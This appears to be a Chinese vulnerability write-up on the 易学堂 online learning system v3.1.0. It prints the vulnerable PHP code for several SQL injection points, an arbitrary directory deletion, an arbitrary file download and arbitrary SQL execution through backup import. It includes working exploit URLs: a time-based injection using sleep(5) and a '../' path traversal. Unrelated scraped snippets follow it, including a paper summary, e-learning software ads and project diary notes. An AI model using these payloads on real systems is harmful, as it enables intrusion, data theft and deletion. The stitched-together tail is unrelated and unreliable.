易学堂在线学习系统 v3.1.0多处注入

前台注入

其实造成注入的原因是一样的 忘了过滤了

第一处

public function order(){
        $state=I("get.state");
        $user_id=sp_get_current_userid();
        $where=empty($state)?array("user_id = $user_id"):array("user_id = $user_id and state=$state");//对传入的$state没有进行过滤
        $count=$this->order_obj->where($where)->count();
        $page = $this->page($count, 10);
        $data=$this->order_obj->limit($page->firstRow . ‘,‘ . $page->listRows)->where($where)->select();
        $num=$this->order_obj->where(array(‘state‘=>2,‘user_id‘=>$user_id))->count();
        $this->assign(‘num‘,$num);
        $this->assign(‘order‘,$data);
        $this->assign(‘state‘,$state);
         this->assign("Page", $page->show(‘Admin‘));
        $this->display(‘:order‘);
    }
http://127.0.0.1//index.php?g=user&m=center&a=order&state=1)%20and%20sleep(5)--+

第二处

    function add_post(){
    if (IS_POST) {
            $data = $this->course_obj->create();
            $count=$this->course_obj->count();
            $term_id=$_POST[‘ty_id‘];
            $typedata=$this->coursetype_obj->where("term_id=$term_id")->find();
            $teacherdata=M(‘application‘)->where(array(‘user_id‘=>sp_get_current_userid()))->find();
            $data[‘cs_teacher‘]=sp_get_current_userid();
            $data[‘top_id‘]=$typedata[‘parent‘];
            $data[‘cs_picture‘]=$_POST[‘cs_picture‘];
            $data[‘labelid‘]=$_POST[‘labelid‘];
            $deta[‘notice‘]=$_POST[‘code‘];
            $deta[‘count‘]=$_POST[‘count‘];
            $data[‘cs_addtime‘]=date(‘Y-m-d H:i:s‘);
            $data[‘cs_state‘]=1;
            $data[‘cs_brief‘]=htmlspecialchars_decode($data[‘cs_brief‘]);
            $data[‘course_type‘]=$_POST[‘type‘];
            $data[‘stu_numbers‘]=$_POST[‘stu_numbers‘];
            if($teacherdata[‘state‘]<1){
                $this->error("您还未通过审核,暂时不能添加课程!");
            }

            if($deta[‘notice‘]==‘sucess‘){
                if ($this->course_obj->add($data)) {
                    $this->success("添加成功!",U("Teacher/Center/index"));
                }else{
                    $this->error("添加失败!");
                }
            }else{
                if($count>=$deta[‘count‘]){
                    $this->error($deta[‘notice‘]);
                }else{
                    if ($this->course_obj->add($data)) {
                        $this->success("添加成功!",U("Teacher/Center/index"));
                    }else{
                       $this->error("添加失败!");
                    }
                }
            }
        }

    }

后台更是多的不得了

    function edit(){
        $id=I("get.id");
        //die("ad_id=$id");
        $ad=$this->ad_model->where("ad_id=$id")->find();
        $this->assign($ad);
        $this->display();
    }
    function toggle(){
        if(isset($_POST[‘ids‘]) && $_GET["display"]){
            $ids = implode(",", $_POST[‘ids‘]);
            $data[‘status‘]=1;
            if ($this->ad_model->where("ad_id in ($ids)")->save($data)!==false) {
                $this->success("显示成功!");
            } else {
                $this->error("显示失败!");
            }
        }
        if(isset($_POST[‘ids‘]) && $_GET["hide"]){
            $ids = implode(",", $_POST[‘ids‘]);
            $data[‘status‘]=0;
            if ($this->ad_model->where("ad_id in ($ids)")->save($data)!==false) {
                $this->success("隐藏成功!");
            } else {
                $this->error("隐藏失败!");
            }
        }
    }

后台任意目录删除

    /**
     * 删除备份
     */
    public function del_backup()
    {
        if ((!isset($_GET[‘backup‘]) || empty($_GET[‘backup‘])) && (!isset($_POST[‘backup‘]) ||
            empty($_POST[‘backup‘])))
        {
            $this->error(‘非法参数‘);
        }
        import(‘@.ORG.Dir‘);
        $dir=new \Dir();
        $dir->delDir(SITE_PATH . $this->backup_path . $_GET[‘backup‘].‘/‘);
        $this->success(‘操作成功!‘);
    }
index.php?g=admin&m=backup&a=del_backup&backup=../test

后台任意文件下载

   public function download()
    {
        $backup_name = isset($_GET[‘backup‘]) && trim($_GET[‘backup‘]) ? trim($_GET[‘backup‘]) :
            $this->error(‘请选择备份名称!‘);
        $file = isset($_GET[‘file‘]) && trim($_GET[‘file‘]) ? trim($_GET[‘file‘]) : $this->
            error(‘请选择备份文件!‘);
        $sql_file = SITE_PATH . $this->backup_path . $backup_name . ‘/‘ . $file;
        if (file_exists($sql_file))
        {
            header(‘Content-type: application/unknown‘);
            header(‘Content-Disposition: attachment; filename="‘ . $file . ‘"‘);
            header("Content-Length: " . filesize($sql_file) . "; ");
            readfile($sql_file);
        } else
        {
            $this->error(‘文件不存在!‘);
        }
    }

任意SQL执行

    public function import()
    {
        $backup_name = isset($_GET[‘backup‘]) && trim($_GET[‘backup‘]) ? trim($_GET[‘backup‘]) :
            $this->error(‘请选择备份名称‘);
        $vol = empty($_GET[‘vol‘]) ? 1 : intval($_GET[‘vol‘]);
        $this->backup_name = $backup_name;
        //获得所有分卷
        $backups = $this->_get_vols($this->backup_name);
        $backup = isset($backups[$vol]) && $backups[$vol] ? $backups[$vol] : $this->
            error(‘无此文件!‘);
        //开始导入卷
        if ($this->_import_vol($backup[‘file‘]))
        {
            if ($vol < count($backups))
            {
                $vol++;
                $link = U("Backup/import",array("vol"=>$vol,"backup"=>urlencode($this->backup_name)));
                $this->success(sprintf(‘导入成功!‘, $vol - 1), $link);
            } else
            {
                $this->success(‘导入成功!‘, U("Backup/restore"));
            }
        }
    }

导入上传的图片路径即可执行图片内的sql语句

时间: 2024-12-09 00:57:22

易学堂在线学习系统 v3.1.0多处注入的相关文章

《脑机交互促进学习有效发生的路径及实验研究——基于在线学习系统中的注意力干预分析》 文献随笔(八)

一.基本信息 标题:脑机交互促进学习有效发生的路径及实验研究——基于在线学习系统中的注意力干预分析时间: 2019来源: 前沿搜索关键字:脑机交互:脑机接口:学习路径:学习注意力:实验研究:自适应学习:智能测评 二.研究 脑机交互在技术层面诞生并逐渐发展,但更多的还停留在技术层面,在基于1985-2018年的SCI和SSCI期刊论文中关于“脑机接口的演化过程及其在教育领域的应用”的知识图谱分析,其脑机接口在学习过程的核心,体现为大脑和双向救护,包括人工智能技术.教育大数据分析技术.大脑-心理-计

SpringBoot+Vue开发在线学习系统

             SpringBoot+Bootstrap+Vue开发在线学习系统 本课题的主要内容是开发基于Java EE的在线学习平台,使用MVC经典开发模式.Java EE的框架                       SSM(Spring+SpringMVC+Mybatis)等相关技术开发网站系统. 在线演示   在线演示 使用的开发环境是以MyEclipse为开发环境,采用Tomcat服务器作为Web应用容器,并应用MySQL为系统的数据库管理. 在MVC模式中,应用程序被

《学生在线学习系统》开发心得

经过将近四个星期的项目开发,我了解到在开发一个项目的过程中,最重要的还是团队协作,特别是对于开发一个大型的项目. 从程序编码者角度来说,通过这次项目开发,我了解到在开发一个完整的软件项目过程中,除了编码,还有很多部分要做.从最开始的项目开发计划,到需求分析,再到数据库设计,然后到编码实现,最后到整个项目的测试,每一个过程都必须认真思考,特别是数据库设计,因为数据库设计的是否合理,关系到整个工程项目编码实现的难易程度.另外在此过程中,对整个工程项目的具体实现目标,都要有侧重点.对编码人员来说,最重

《基于微服务架构的在线学习系统设计与实现》第三章 文献随笔(四)

一.基本信息 标题:基于微服务架构的在线学习系统设计与实现 时间:2019 来源:微服务架构 关键字:在线学习系统:微服务架构:spring cloud框架:API网关 二.研究内容 1.研究背景 基于对国内外的各学习网站的体验与分析,结合软件工程的需求分析方法,综合大学生的学习习惯以及学习方法对系统进行的功能性需求分析以及非功能性需求分析. 2.在线学习系统的需求分析   (1)功能需求分析 学生用户需求分析: 网站注册.用户登录.个人信息管理.课程列表.课程公告.课程评分.课程收藏.课程讨论

【在线教育-PC+手机-源代码】HDEDU在线网校系统--学习+练习+考试+支付+营销一站式![20

系统功能: (1)学习模块:视频点播.图文.课件下载:视频支持上传到服务器,也可以采用视频托管. (2)练习模块:在线刷题.错题回顾.高频错题.笔记收藏.进度保存.试题解析.模拟考试: (3)考试模块:定时考试.时间区间考试.智能阅卷.答题详情预览.成绩导出.高并发处理.考试仿切屏.强制交卷: (4)支付模块:在线支付:支付宝支付.微信支付:人工充值:管理员后台直接充值. (5)营销模块:积分,优惠券,学习卡,三级分销,试学,限时免费. 系统角色介绍: 学员:学员主要就是在线学习,学员可以直接在

标题:【在线教育-PC+手机-源代码】HDEDU在线网校系统--学习+练习+考试+支付+营销一站式!

系统功能: (1)学习模块:视频点播.图文.课件下载:视频支持上传到服务器,也可以采用视频托管. (2)练习模块:在线刷题.错题回顾.高频错题.笔记收藏.进度保存.试题解析.模拟考试: (3)考试模块:定时考试.时间区间考试.智能阅卷.答题详情预览.成绩导出.高并发处理.考试仿切屏.强制交卷: (4)支付模块:在线支付:支付宝支付.微信支付:人工充值:管理员后台直接充值. (5)营销模块:积分,优惠券,学习卡,三级分销,试学,限时免费. 系统角色介绍: 学员:学员主要就是在线学习,学员可以直接在

团队排表系统V3.0最佳实践及使用说明

团队排表系统V3.0最佳实践 1.从我这里获取团队代号, 例如"tuanzhangshishabi" 2.打开网页 填写以下信息. 请注意: 最好所有的打工和老板都填上真实的QQ, 有利于发号和管理. 第一个填写我给的团队代码的人将会是管理员 3.进入主页,选择左侧老板管理,添加老板.  团员管理 添加团员.  记住所有的qq 帐号 密码 区服 都尽量填写真实, 操作方式: 双击编辑, 右键删除, 加号添加, 左键选中可以批量删除, 批量导入(还未实现). 可以按区服,职业查询. 团员

如何快速部署一个机器学习在线预测系统

七牛的自定义数据处理平台提供高性能 GPU 计算机群及自动伸缩容器集群方便开发者对云存储中的大量图片/音视频/文档数据进行云端机器学习,包括图像分类.视频分析.语音识别以及自然语言处理等等.简单易用的自定义数据处理平台可以帮助开发者快速构建机器学习应用,实现在云端进行训练.分类和预测. 本文介绍如何使用七牛自定义数据处理平台快速部署一个机器学习在线预测系统.主要分为以下三个步骤: 第一步:构建机器学习应用容器镜像 第二步:在平台上注册及部署机器学习应用 第三步:使用机器学习系统在线预测 前期准备

Web信息学院在线办公系统

每天记录学习,每天会有好心情.*^_^* 在学习基于Web的信息学院在线办公系统项目的时候,方便日后能及时查阅,在本平台中记录一下基于Web的信息学院在线办公系统的开发流程.在学习时候的选用了SSM(MYECLIPSE),这个框架不论是学习还是使用都非常方便,简单易上手.是我们学习编程可以重点学习的一个框架,我在开发基于Web的信息学院在线办公系统项目的时候选用了MYECLIPSE来搭建SSM(MYECLIPSE)框架,最终将基于Web的信息学院在线办公系统项目开发为了一个 后台项目.基于Web